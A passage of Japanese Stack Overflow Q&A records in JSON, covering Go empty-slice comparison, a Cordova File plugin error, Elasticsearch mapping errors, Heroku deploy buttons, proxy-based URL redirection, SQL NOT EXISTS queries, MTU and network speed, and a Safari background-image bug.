"body": "ご使用の環境はproxy使用環境でしょうか? \nであればSDK ManagerのSystemSettings > HTTP Proxy よりProxyの設定をおねがいします。\n\nそうでないならば、以下で似たようなエントリがありました。 \n<https://code.google.com/p/android/issues/detail?id=37877> \n同現象かはわかりませんがCacheの削除を試してみてはいかがでしょうか。\n\nただ\"The newer release doesn't have the bug anymore.\"の記載があり、 \n最新版のSDK Managerでは発生しないとされています。 \n私のSDK Manager(SDKTools Version25.2.2)上にはClear Cacheメニューがありませんでした。",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T09:50:19.177",
"id": "32084",
"last_activity_date": "2017-01-23T09:50:19.177",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "19716",
"parent_id": "32078",
"post_type": "answer",
"score": 0
}
]
| 32078 | 32084 | 32084 |
{
"accepted_answer_id": "32085",
"answer_count": 1,
"body": "<https://play.golang.org/p/hpUyYKkkx9>\n\n```\n\n a := []int{}\n b := [...]int{}\n c := []int(nil)\n var d []int\n \n```\n\n上記の変数`a`~`d`はいずれも「要素数0のint型配列」を表していますが、`reflect.DeepEqual`で比較してみると、すべてが同じ値というわけではないように見えました。\n\n`[]int`と`[0]int`型が区別されるのは(SliceとArrayの違いなので)ぼんやりと理解できますが、そうすると同じ型のはずの`[]int{}`と`[]int(nil)`(`a`と`c`)が区別されるのが腑に落ちません。\n\nこれらの型はどう区別、比較すればいいのでしょうか?\n\n例えば、配列を返す関数をテストしたい場合に、返り値が空配列となるケースをどのようにテストすればいいのか知りたいです。",
"comment_count": 6,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T08:43:24.853",
"favorite_count": 0,
"id": "32079",
"last_activity_date": "2017-01-23T23:49:46.630",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "2391",
"post_type": "question",
"score": 1,
"tags": [
"go"
],
"title": "空配列を比較したい",
"view_count": 2345
} | [
{
"body": "個人的には、そのまま、`reflect.DeepEqual`を使うのが良いと思います。\n\n問題は、「空配列」が何か、ということです。ご存知のとおり、Goにはスライスとarrayというよく似た別のものがあります。この2つは型のレベルで等しくありません。`a`と`b`がdeeply\nequalでない理由がこれです1。\n\n[`reflect.DeepEqual`のgodoc](https://golang.org/pkg/reflect/#DeepEqual)には次のように書かれています。\n\n> Slice values are deeply equal when all of the following are true: they are\n> both nil or both non-nil, they have the same length, and either they point\n> to the same initial entry of the same underlying array (that is, &x[0] ==\n> &y[0]) or their corresponding elements (up to length) are deeply equal. Note\n> that a non-nil empty slice and a nil slice (for example, []byte{} and\n> []byte(nil)) are not deeply equal.\n\n変数`a`と`c`の違いは、nilかどうかです1。ドキュメントに書かれているように、non-nilな空のスライス`a`は、nilスライス`c`とdeeply\nequalではありません。したがって`reflect.DeepEqual(a, c)`はfalseを返します。\n\n最後に、変数`d`は、[]int 型のnilです1。したがって`c`とdeeply equalになります。\n\nつまり、`a`から`d`までの変数の中で、空の(non-nilな)スライスは`a`だけ、空の(non-nilな)arrayは`b`だけということになります。\n\n今回の場合、テストに用いたいということですので、nilかnilでないか、スライスかarrayかは、大きな違いになると思います。したがって、そのまま`reflect.DeepEqual`を使って、厳密にどれになるのかを検査するのが良いのではないかと思います。\n\nちなみに`a`から`d`までのすべてをOKとしたいのであれば、(スライスかarrayしか返ってこないと分かっているときは) `len(変数) == 0`\nかどうかを調べれば良いです2。interface{}な値について調べたいのであれば、たとえば型switchを併用する方法があると思います(\n<https://play.golang.org/p/WAHpZC3jKE>\n)。[metropolisさんのコメント](https://ja.stackoverflow.com/questions/32079/%E7%A9%BA%E9%85%8D%E5%88%97%E3%82%92%E6%AF%94%E8%BC%83%E3%81%97%E3%81%9F%E3%81%84/32085#comment31280_32079)も参考になるかと思います。\n\nまた、[]int 型ではなく []byte 型に限った話をすると、\n`bytes.Equal`([godoc](https://golang.org/pkg/bytes/#Equal))という便利なものがあります。この関数ではnilと空スライスが同一視されます。残念ながら現状(go1.7では)[アセンブリで実装されている](https://github.com/golang/go/blob/master/src/bytes/bytes_decl.go)ため、他の型に対してこの関数の実装と同じ方法を使うのは簡単ではないでしょう。\n\n* * *\n\n註\n\n 1. 各変数がどのような型と値になっているのかについて詳細に書きます。\n\n * `a`、つまり`[]int{}`は、[]int 型のnon-nilな長さ0のsliceです。このことは仕様の [\"Composite literals\"](https://golang.org/ref/spec#Composite_literals) などから分かります。\n * `b`、つまり`[...]int{}`は [0]int 型のarrayです。この書き方の分かりにくいところは`[...]`の部分なのではないかと思います。これはたとえば`[...]int{2, 4, 6}`のようなリテラルを書くときに、わざわざ`[3]int{2, 4, 6}`と書きたくがないための記法です。今回は要素の無い列に対してこの記法を使っていることになり、`[0]int{}`とほぼ同じことです。このことは`a`と同じく仕様の [\"Composite literals\"](https://golang.org/ref/spec#Composite_literals) などから分かります。\n * `c`、つまり`[]int(nil)`は、[]int 型のnilです。こちらは仕様の [\"Conversions\"](https://golang.org/ref/spec#Conversions) などから分かります。したがって厳密には`c`は「空配列」ないし「空スライス」では無いです。\n * `d`は、[]int 型として宣言され、初期化されていない変数です。Goでは初期化されていないsliceの値が nil になるため、`d`は []int 型のnilです。このことは仕様の [\"The zero value\"](https://golang.org/ref/spec#The_zero_value) から分かります。\n 2. `len(nil)`は必ず0です。[\"Length and capacity\"](https://golang.org/ref/spec#Length_and_capacity) に書いてあります。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T10:26:13.887",
"id": "32085",
"last_activity_date": "2017-01-23T23:49:46.630",
"last_edit_date": "2017-04-13T12:52:38.920",
"last_editor_user_id": "-1",
"owner_user_id": "19110",
"parent_id": "32079",
"post_type": "answer",
"score": 5
}
]
| 32079 | 32085 | 32085 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "Onsen UI V2 Angular 1 Splitterテンプレートを使って開発を始めました。 \n実行環境は Android です。\n\n<http://docs.monaca.io/ja/reference/cordova_6.2/file/> \n<http://poyo.hatenablog.jp/entry/2016/11/05/014205>\n\nを参考にCordovaプラグインのFileを有効にして、開発を進めているのですが、以下のエラーが出てファイル一覧が取得できません。\n\n```\n\n Uncaught TypeError: window.requestFileSystem is not a function\n \n```\n\n何をどうしたらエラーが出なくなるのか分からずに困っています。 \nコメントアウトは試行錯誤の跡として残してあります。 \nどうか助けをよろしくお願いします。\n\n```\n\n <!DOCTYPE HTML>\n <html id=\"myApp\">\n <head>\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no\">\n <meta http-equiv=\"Content-Security-Policy\" content=\"default-src * data:; style-src * 'unsafe-inline'; script-src * 'unsafe-inline' 'unsafe-eval'\">\n <script src=\"lib/angular/angular.min.js\"></script>\n <script src=\"lib/onsenui/js/onsenui.min.js\"></script>\n <script src=\"lib/onsenui/js/angular-onsenui.min.js\"></script>\n <script src=\"components/loader.js\"></script>\n \n <link rel=\"stylesheet\" href=\"components/loader.css\">\n <link rel=\"stylesheet\" href=\"lib/onsenui/css/onsenui.css\">\n <link rel=\"stylesheet\" href=\"lib/onsenui/css/onsen-css-components.css\">\n <link rel=\"stylesheet\" href=\"css/style.css\">\n \n <script>\n document.addEventListener(\"deviceready\", onDeviceReady, false);\n function onDeviceReady() {\n //alert(\"Fileプラグインが利用できます。\");\n window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem;\n //window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, success, error);\n var grantedBytes = 0;// 1024*1024*10; // 10MB\n window.requestFileSystem(PERSISTENT, grantedBytes, /*$scope.*/fileSystemReceived, /*$scope.*/errorHandler);\n }\n \n myApp = ons.bootstrap();\n myApp.controller('AppController', function($scope) {\n this.load = function(page) {\n $scope.splitter.content.load(page);\n $scope.splitter.left.close();\n };\n \n this.toggle = function() {\n $scope.splitter.left.toggle();\n };\n });\n \n myApp.controller(\"SampleController\", [\"$scope\", \"FileSystem\", function($scope, FileSystem){\n FileSystem.getFileSystem()\n .then(function(fs){\n $scope.ROOT_PATH = fs.root.toURL(); /* ルートへのパスを取得 */\n }, \n function(error){\n alert(\"エラーです\");\n });\n \n $scope.fileSystemReceived = function (fileSystem) {\n fileSystem.root.getFile(\"souvenirs.json\", { create: true, exclusive: false }, $scope.fileEntryReceived, $scope.errorHandler);\n }\n \n $scope.fileEntryReceived = function (fileEntry) {\n fileEntry.createWriter($scope.fileWriterReceived, errorHandler);\n }\n \n $scope.fileWriterReceived = function (fileWriter) {\n var listeSouvenirsText = angular.toJson($scope.listeSouvenirs);\n fileWriter.write(listeSouvenirsText);\n }\n \n $scope.errorHandler = function (error) {\n console.log(error);\n }\n \n }]);\n \n myApp.factory(\"FileSystem\", [\"$q\", function($q){\n return {\n getFileSystem: function(){\n let deferred = $q.defer();\n //window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem;\n \n var requestedBytes = 1024*1024*10; // 10MB\n navigator.webkitPersistentStorage.requestQuota (\n requestedBytes,\n function (grantedBytes) {\n window.requestFileSystem(PERSISTENT, grantedBytes, /*$scope.*/fileSystemReceived, /*$scope.*/errorHandler);\n },\n /*$scope.*/errorHandler\n );\n /*\n window.requestFileSystem(window.PERSISTENT, 0, function(filesystem){\n deferred.resolve(filesystem);\n }, function(error){\n deferred.reject(error);\n });\n */\n return deferred.promise;\n }\n \n };\n }]);\n \n function errorHandler(error) {\n console.log(error);\n }\n \n function fileSystemReceived(fileSystem) {\n fileSystem.root.getFile(\"souvenirs.json\", { create: true, exclusive: false }, $scope.fileEntryReceived, $scope.errorHandler);\n }\n \n ons.ready(function() {\n //console.log(\"Onsen UI is ready!\");\n //window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem;\n });\n </script>\n </head>\n <body>\n \n <ons-splitter ng-controller=\"AppController as app\" var=\"splitter\">\n <ons-splitter-side side=\"left\" width=\"220px\" collapse swipeable>\n <ons-page>\n <ons-list>\n <ons-list-item ng-click=\"app.load('home.html')\" tappable>\n Home\n </ons-list-item>\n <ons-list-item ng-click=\"app.load('settings.html')\" tappable>\n Settings\n </ons-list-item>\n <ons-list-item ng-click=\"app.load('about.html')\" tappable>\n About\n </ons-list-item>\n </ons-list>\n </ons-page>\n </ons-splitter-side>\n <ons-splitter-content page=\"test.html\"></ons-splitter-content>\n </ons-splitter>\n \n <ons-template id=\"test.html\" ng-controller=\"SampleController\">\n <ons-page>\n <ons-toolbar>\n <div class=\"center\">Test</div>\n </ons-toolbar>\n <h1>てすと</h1>\n <span>{{ROOT_PATH}}</span>\n </ons-page>\n </ons-template>\n </body>\n </html>\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 4.0",
"creation_date": "2017-01-23T12:06:33.367",
"favorite_count": 0,
"id": "32086",
"last_activity_date": "2022-01-12T01:10:29.780",
"last_edit_date": "2022-01-12T01:10:29.780",
"last_editor_user_id": "3060",
"owner_user_id": "20359",
"post_type": "question",
"score": 0,
"tags": [
"android",
"monaca",
"cordova"
],
"title": "FileプラグインのAPIで「Uncaught TypeError: window.requestFileSystem is not a function」のエラーが発生する",
"view_count": 917
} | [
{
"body": "Android6.0の端末で試してみました。 \nCordovaのFileプラグインがインストールされていない場合に同じエラーが発生します。 \n[](https://i.stack.imgur.com/J34yh.png)\n\nこの後にCorodvaのFileプラグインをインストールすることでエラーが発生しなくなりました。 \n正しくプラグインをインストールできているかご確認ください。",
"comment_count": 5,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-24T03:10:56.980",
"id": "32102",
"last_activity_date": "2017-01-24T03:10:56.980",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20272",
"parent_id": "32086",
"post_type": "answer",
"score": 1
}
]
| 32086 | null | 32102 |
{
"accepted_answer_id": null,
"answer_count": 2,
"body": "elasticsearchをダウンロードした後についてエラーで止まっております。 \nどなたかご教授いただけると幸いです。\n\n現状の状態 \nelasticsearchコマンドを入力するとelasticsearchが立ち上がりましたが、 \n`bundle exec rake search_index:create_and_import` コマンドを入力するとエラーになります\n\n> rake aborted!\n>\n> Elasticsearch::Transport::Transport::Errors::BadRequest: [400]\n> {\"error\":{\"root_cause\":[{\"type\":\"mapper_parsing_exception\",\"reason\":\"Failed\n> to parse mapping [service]: The [string] type is removed in 5.0 and\n> automatic upgrade failed because parameters [boost] are not supported for\n> automatic upgrades. You should now use either a [text] or [keyword] field\n> instead for field\n> [name]\"}],\"type\":\"mapper_parsing_exception\",\"reason\":\"Failed to parse\n> mapping [service]: The [string] type is removed in 5.0 and automatic upgrade\n> failed because parameters [boost] are not supported for automatic upgrades.\n> You should now use either a [text] or [keyword] field instead for field\n> [name]\",\"caused_by\":{\"type\":\"illegal_argument_exception\",\"reason\":\"The\n> [string] type is removed in 5.0 and automatic upgrade failed because\n> parameters [boost] are not supported for automatic upgrades. You should now\n> use either a [text] or [keyword] field instead for field\n> [name]\"}},\"status\":400} \n>",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T12:36:52.993",
"favorite_count": 0,
"id": "32088",
"last_activity_date": "2017-01-30T06:49:10.837",
"last_edit_date": "2017-01-24T00:48:17.600",
"last_editor_user_id": "19110",
"owner_user_id": "20360",
"post_type": "question",
"score": 0,
"tags": [
"ruby",
"elasticsearch"
],
"title": "elasticsearchについて",
"view_count": 488
} | [
{
"body": "自己解決しました \nver 1-5-2でinstallすれば完了しました",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-24T01:54:08.857",
"id": "32095",
"last_activity_date": "2017-01-24T01:54:08.857",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20360",
"parent_id": "32088",
"post_type": "answer",
"score": 1
},
{
"body": "同じ現象で、`gemfile` に \n`gem 'elasticsearch', '2.4.1'` を書いて\n\n`bundle update elasticsearch` で \n`Could not find gem 'elasticsearch (= 2.4.1)' in any of the gem sources listed\nin your Gemfile.` と言われます。\n\nどうすればよろしいでしょうか。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-30T06:49:10.837",
"id": "32247",
"last_activity_date": "2017-01-30T06:49:10.837",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20450",
"parent_id": "32088",
"post_type": "answer",
"score": 0
}
]
| 32088 | null | 32095 |
{
"accepted_answer_id": "32090",
"answer_count": 1,
"body": "githubのプロジェクトのトップにREADME.mdファイルとapp.jsonファイルを置いています。\n\nおそらく中の記述に不備があり、ボタンは表示されるのですが、押すとherokuに新規アプリの作成を促されます。 \n新規アプリを作るとデプロイできのですが、一度viewで表示しているタブを閉じ、再びgithub内のDeployボタンを押すとまた新規アプリの作成を促されていしまいます。\n\n記述に足りていない点があれば教えてください。\n\napp.json\n\n```\n\n { \n \"name\": \"node-static-site\"\n }\n \n```\n\nREADME.md\n\n```\n\n [](https://heroku.com/deploy)\n \n```\n\nまた、現状使っているサービスはgithub・heroku共に無料で、herokuのアドオンなどは一切使っていません。 \nご指摘、よろしくお願いします。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T13:28:18.353",
"favorite_count": 0,
"id": "32089",
"last_activity_date": "2017-01-23T15:04:07.923",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "8823",
"post_type": "question",
"score": 0,
"tags": [
"heroku",
"github"
],
"title": "github内にherokuのDeployボタンを設置する",
"view_count": 110
} | [
{
"body": "> The ‘Deploy to Heroku’ button enables users to deploy apps to Heroku without\n> leaving the web browser, and with little or no configuration. The button is\n> ideal for customers, open-source project maintainers or add-on providers who\n> wish to provide their customers with a quick and easy way to deploy and\n> configure a Heroku app. \n> <https://devcenter.heroku.com/articles/heroku-button>\n\nとあるように、オープンソースのアプリケーションなどで、最初のデプロイ(インストールや追加とでも言いましょうか)を簡単にするボタンが Deploy to\nHeroku ボタンです。\n\nですからタブを開きなおしてもう一度ボタンを押せば、新規アプリとしてデプロイできる、というのは正しい挙動だと思います。既にデプロイ済みのアプリケーションを更新したい場合は、\n`git push` 等を行わなければいけません。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T14:21:51.327",
"id": "32090",
"last_activity_date": "2017-01-23T14:21:51.327",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "8000",
"parent_id": "32089",
"post_type": "answer",
"score": 1
}
]
| 32089 | 32090 | 32090 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "サーバー(CentOS7)上に複数のスクリプトが複数の言語で記述されています. \nこれら全てのスクリプトが参照するURLを個別に書き換えることなく, \nファイアウォールのように,それらのスクリプトについてアクセスを監視し, \nそれらのスクリプトがサーバーの外(e.g. <http://hoge1.hoge>)を参照しようとした場合に, \nこれを別のURL(e.g. <http://hoge2.hoge>)に変更してアクセスさせる方法がないか調べています. \nこのようなことは可能でしょうか? \n検索のためのキーワードだけでも与えていただければ,嬉しいです.",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-23T17:13:55.433",
"favorite_count": 0,
"id": "32092",
"last_activity_date": "2017-01-26T03:00:32.437",
"last_edit_date": "2017-01-26T03:00:32.437",
"last_editor_user_id": "8000",
"owner_user_id": "20362",
"post_type": "question",
"score": 4,
"tags": [
"linux"
],
"title": "サーバー内の特定のプログラムが外部にアクセスするURLを書き換えたい",
"view_count": 138
} | [
{
"body": "アクセスを書き換えるような HTTP プロキシを用意し、これを経由させる事になると思います。 \nHTTP 通信を行なう多くのプログラムが、環境変数 `HTTP_PROXY` や `http_proxy`\nを参照してこれに従いますので、通常はこれを設定します。\n\nこういった設定を尊重しないプログラムに対応するには「透過プロキシ」と呼ばれる仕組みを用います。 \n透過プロキシを実現するには OS レベルでの対応が必要で、Linux であれば `iptables` などで設定します。 \n(「特定のプログラムだけ」という点が難しいかも知れないですね。対象のプログラムはコンテナに入れておく、とかでしょうか。)",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T13:22:31.717",
"id": "32156",
"last_activity_date": "2017-01-25T13:28:56.593",
"last_edit_date": "2017-01-25T13:28:56.593",
"last_editor_user_id": "3054",
"owner_user_id": "3054",
"parent_id": "32092",
"post_type": "answer",
"score": 3
}
]
| 32092 | null | 32156 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "```\n\n tableA\n ID YMD DAY SE CSE CODE\n 22 19970901 0 0 0 KG00100\n 22 19970901 0 1 0 KG00610\n 22 19970901 0 1 1 KG01042\n 22 19970901 0 1 2 KG00361\n 22 19970901 0 1 3 KG00363\n 22 19970901 0 2 0 KG01150\n 22 19970901 0 3 0 KG01631\n 22 19970901 0 3 1 KG01632\n \n 22 19970912 0 0 0 KG00200\n 22 19970912 0 1 0 KG01631\n 22 19970912 0 1 1 KG01632\n 22 19970912 0 2 0 KG01670\n 22 19970912 0 3 0 KG01320\n 22 19970912 0 3 1 KG01180\n 22 19970912 0 3 2 KG02281\n 22 19970912 0 3 3 KG00930\n \n 22 19971205 0 0 0 KG00200\n 22 19971205 0 1 0 KG04830\n 22 19971205 0 1 1 KG04230\n 22 19971205 0 1 2 KG04410\n 22 19971205 0 2 0 KG01633\n 22 19971205 0 2 1 KG01670\n 22 19971205 0 2 2 KG00362\n \n 22 19971216 0 0 0 KG00200\n 22 19971216 0 1 0 KG05540\n 22 19971216 0 1 1 KG06140\n 22 19971216 0 1 2 KG00510\n 22 19971216 0 2 0 KG01670\n \n 22 19980127 0 1 0 KG01110\n 22 19980127 0 1 1 KG05160\n 22 19980127 0 1 2 KG05310\n 22 19980127 0 1 3 KG05320\n 22 19980127 0 1 4 Z10180\n 22 19980127 0 2 0 KG01670\n 22 19980127 1 0 0 KG00200\n 22 19980127 1 1 0 KG01633\n 22 19980127 1 1 1 KG00362\n \n 22 19980206 0 0 0 KG00200\n 22 19980206 0 1 0 KG05040\n 22 19980206 0 1 1 KG01140\n 22 19980206 0 2 0 KG01110\n 22 19980206 0 2 1 KG05160\n 22 19980206 0 2 2 KG05310\n 22 19980206 0 2 3 KG05320\n 22 19980206 0 2 4 Z10180\n 22 19980206 0 3 0 KG01633\n 22 19980206 0 3 1 KG01670\n 22 19980206 0 3 2 KG00362\n \n```\n\nお世話になります。 \n上記の表で同じ日付(YMD)の中で DAYのが0 SEが0 CSEが0\nでCODEがKG00100もしくはKG00200の値を持っていないIDと日付を抽出したいです。 \n期待値としては ID22 19980127のDAY0のグループにはCODE KG00200もしくはKG00100が含まれていないので22 19980127\nが抽出できるとうれしいです。 \nID YMD DAY SEQ CSEQ CODE \n22 19980127 0 0 0 KG00200 \nこのレコードをインサートしたいと考えています。\n\nDBはmanagement stadioです。\n\nご教授よろしくお願いします。\n\n追記 \n各日付の中で DAYが0 SEが0 CSEが0 CODEがKG00200もしくはKG00100がない日付とIDを知りたいです。",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-24T02:06:17.077",
"favorite_count": 0,
"id": "32096",
"last_activity_date": "2017-01-24T05:24:02.930",
"last_edit_date": "2017-01-24T04:35:29.893",
"last_editor_user_id": "19310",
"owner_user_id": "19310",
"post_type": "question",
"score": -2,
"tags": [
"c#",
"sql"
],
"title": "SQLで条件にマッチするレコードが存在するか判定したい",
"view_count": 1398
} | [
{
"body": "まずテーブルに`DAY`, `SE`,\n`CSE`の条件を適用し、それから`CODE`の除外条件に該当するグループのレコードを除外するようなクエリーを作成すればよいと思います。 \nですので`NOT EXISTS`を使用して\n\n```\n\n WITH cte\n AS\n (\n SELECT *\n FROM tableA\n WHERE DAY = '0'\n AND SE = '0'\n AND CSE = '0'\n )\n SELECT *\n FROM cte t1\n WHERE NOT EXISTS\n (\n SELECT *\n FROM cte t2\n WHERE t1.ID = t2.ID\n AND t1.YMD = t2.YMD\n AND t1.DAY = t2.DAY\n AND t2.CODE IN ('KG00100', 'KG00200')\n )\n \n```\n\nこのようなクエリーで実現できると思います。\n\n# 追記\n\n質問の意図としては`GROUP BY ID, YMD`を掛ける必要があるようですので、上のクエリーに対して\n\n * 2個目の`SELECT *`を`SELECT DISCTINCT ID, YMD`に変更\n * `AND t1.DAY = t2.DAY`を削除\n\nすれば意図通りになるのではないかと思います。 \nですが出力をグループ化するのであれば初めから\n\n```\n\n SELECT ID, YMD\n FROM tableA\n WHERE DAY = '0'\n AND SE = '0'\n AND CSE = '0'\n GROUP BY ID, YMD\n HAVING SUM(CASE WHEN CODE LIKE 'KG00[12]00' THEN 1 ELSE 0 END) = 0\n \n```\n\nのように`HAVING`句を使用して抽出を行うこともできます。",
"comment_count": 3,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-24T02:45:16.730",
"id": "32099",
"last_activity_date": "2017-01-24T05:24:02.930",
"last_edit_date": "2020-06-17T08:14:45.997",
"last_editor_user_id": "-1",
"owner_user_id": "5750",
"parent_id": "32096",
"post_type": "answer",
"score": 0
}
]
| 32096 | null | 32099 |
{
"accepted_answer_id": "32134",
"answer_count": 3,
"body": "aws 上の ubuntu で、`sudo apt-get update` の実行が異様に重たいインスタンスがありました。\n\n最終的に、これは eth0 の MTU を 9001 -> 1300 にすることで改善したのですが、その際、 `sudo apt-get update`\nの速度が、おおざっぱに体感で20倍ぐらい (それ以上かも?) になりました。\n\n質問:\n\nMTU とは何でしょうか。なぜこれを変更するとここまでネットワーク速度に影響があるのでしょうか。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-24T02:43:53.797",
"favorite_count": 0,
"id": "32098",
"last_activity_date": "2017-01-25T05:08:29.493",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "754",
"post_type": "question",
"score": 1,
"tags": [
"network"
],
"title": "MTU を変更するとネットワークの速度が大きく変わるのはなぜ?",
"view_count": 16523
} | [
{
"body": "Ethernetのパケットの上限は1500 Octetです。(8ビットのデータを、通信ではOctetと呼びます)\nパケットにはデータ以外に付随する情報が含まれますので、1つのethernetのパケットで送れるデータ量は 1400 Octetぐらいです。\n\nMTUをネットワーク経路を通じてパケットに入れられるデータの上限以下にすれば、送り出したデータがそのままパケットになって流れるので無駄が有りません。\n\nMTUが9000だと、 \n・9000 Octetのデータを送り出す。 \n・1パケットに入らないので、データを分割して、それぞれを別のパケットにして送り出す。 \n・受信した側は、分割して送られてくるパケットのデータを、ひとつにまとめる。 \nというような操作を経て届きます。\n\nこれが、MTUが1400だと、 \n・1400 Octetのデータを送り出す。 \n・1つのパケットで送信 \n・1つのパケットで受信され、そこからデータを取り出す。 \nというように、パケットの分割、統合をする手間がかかりませんから、処理時間を含んだ通信速度は大幅に短縮されます。\n\nこれが、MTUを9001から1300に変更した事によって起きた事です。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-24T06:02:53.287",
"id": "32106",
"last_activity_date": "2017-01-24T06:02:53.287",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "217",
"parent_id": "32098",
"post_type": "answer",
"score": 3
},
{
"body": "Ethernetの物理層において1パケットで送信可能なデータ量は1500Octetです。1Gbps以上の環境では1パケット1500Octetのままではオーバーヘッドが大きく通信速度が向上しないことからJumbo\nFrameが用いられるようになりました。Jumbo\nFrameに標準規格はありませんが、概ね1パケットで最大9000Octet~16000Octet送ることが出来るようになります。MTUが9001Octetに設定されていたのはJumbo\nFrameに対応した環境下で高いパフォーマンスを出すためです。 \n一方でインターネット接続において1パケットで送信可能なデータ量は1438~1500Octetです。IPパケットのサイズが、その物理層において1パケットで送信可能なパケットサイズを超える場合は、通信経路上のルーターでIPパケットを分割することになり、オーバーヘッドが大きくなります。 \nMTUを9001Octetから1300Octetに変更する事で、インターネット接続においてIPパケットの分割が起こらなり、パフォーマンスが向上します。一方でLAN内におけるPC同士の接続はJumbo\nFrameが活用されなくなり、パフォーマンスが低下している可能性があります。インターネット接続の速度を優先するのか、あるいはLAN内の通信速度を優先するのか、検討する必要があります。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-24T20:48:00.993",
"id": "32120",
"last_activity_date": "2017-01-24T20:48:00.993",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "12774",
"parent_id": "32098",
"post_type": "answer",
"score": 4
},
{
"body": "MTUとは、通信相手との間で無変換で転送できるデータの最大値のことです。(無変換、の意味は、先に回答のあるように分割されない、の意味です)\n\nどの程度の値であればよいか、については通信相手との間の途中ネットワークに依存するため、単純に求めるのは困難です。ただし、通常次の2つの方法で動的に最適値を求めてくれるはずです。\n\n 1. 経路MTU検索 (RFC1191)\n 2. TCPのMSSオプション (RFC879)\n\nですので、MTUが9001のままでも大抵最適な通信をしてくれると思いますが、 \nファイアウォール等があると(特に前者は)期待通りの動作をしなくなるため、通信経路の途中でパケット分割が生じます(これが速度低下を引き起こします)。こういう場合はすでに試されているように主導でMTUを小さくする必要があります。 \nなお、必要以上にMTUを小さくすると、同じデータ量を転送するのに必要なパケット数が増加するため、IPヘッダ、TCPヘッダ分の通信オーバーヘッドが増大し通信速度が低下することもあります。注意してください。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T05:08:29.493",
"id": "32134",
"last_activity_date": "2017-01-25T05:08:29.493",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20098",
"parent_id": "32098",
"post_type": "answer",
"score": 3
}
]
| 32098 | 32134 | 32120 |
{
"accepted_answer_id": "32103",
"answer_count": 1,
"body": "PC版(Macでのみ確認)Safariにおいて、リンク要素にロールオーバーした際にbodyの背景画像を設定しているんですが表示されず、下記ページの方法を試したんですがそれでも解決されませんでした。 \n<http://16deza.com/note/background-image-pcsafari-not-displayed/>\n\n問題の起こっているサイトはこちらになります。 \n<http://hyld.jp/>\n\n上記サイトの「PROJECTS」の各種リンクをロールオーバーするとそれぞれに対応した背景画像を表示するようにしており、Chrome、Firefoxでは動作しています(Safari含めすべて最新バージョン)。\n\n以下に該当箇所のコードを示します。\n\nHTML\n\n```\n\n <dl class=\"clearfix hyld\"><dt>2016</dt><dd><h3><a href=\"https://www.behance.net/gallery/46836523/HYLD\" target=\"_blank\">HYLD</a></h3></dd></dl>\n <dl class=\"clearfix arg\"><dt>2014</dt><dd><h3><a href=\"http://www.allrightgraphics.com/\" target=\"_blank\">ALL RIGHT GRAPHICS</a></h3></dd></dl>\n <dl class=\"clearfix ppl\"><dt>2014</dt><dd><h3><a href=\"http://papierlabo.com/\" target=\"_blank\">PAPIER LABO.</a></h3></dd></dl>\n <dl class=\"clearfix ikr\"><dt>2014</dt><dd><h3><a href=\"http://www.inkaren.com/\" target=\"_blank\">Inkaren</a></h3></dd></dl>\n <dl class=\"clearfix ft4\"><dt>2015</dt><dd><h3><a href=\"http://factory4f.com/\" target=\"_blank\">Factory 4F</a></h3></dd></dl>\n <dl class=\"clearfix aeta\"><dt>2016</dt><dd><h3><a href=\"http://www.aeta.website/\" target=\"_blank\">Aeta</a></h3></dd></dl>\n <dl class=\"clearfix ccl\"><dt>2015</dt><dd><h3><a href=\"http://chacoli.jp/\" target=\"_blank\">CHACOLI</a></h3></dd></dl>\n \n```\n\nJavaScript(jQueryを用いaタグに対してmouseenterをトリガーに関数を呼び出しています)\n\n```\n\n var prj = $(this).parent().parent().parent().attr('class').split(' ')[1];\n \n switch(prj)\n {\n case 'hyld': $('body').css({'background-image': 'url(./img/' + prj + '.png'}); break;\n case 'arg': $('body').css({'background-image': 'url(./img/' + prj + '.png'}); break;\n case 'ppl': $('body').css({'background-image': 'url(./img/' + prj + '.png'}); break;\n case 'ikr': $('body').css({'background-image': 'url(./img/' + prj + '.png'}); break;\n case 'ft4': $('body').css({'background-image': 'url(./img/' + prj + '.png'}); break;\n case 'aeta': $('body').css({'background-image': 'url(./img/' 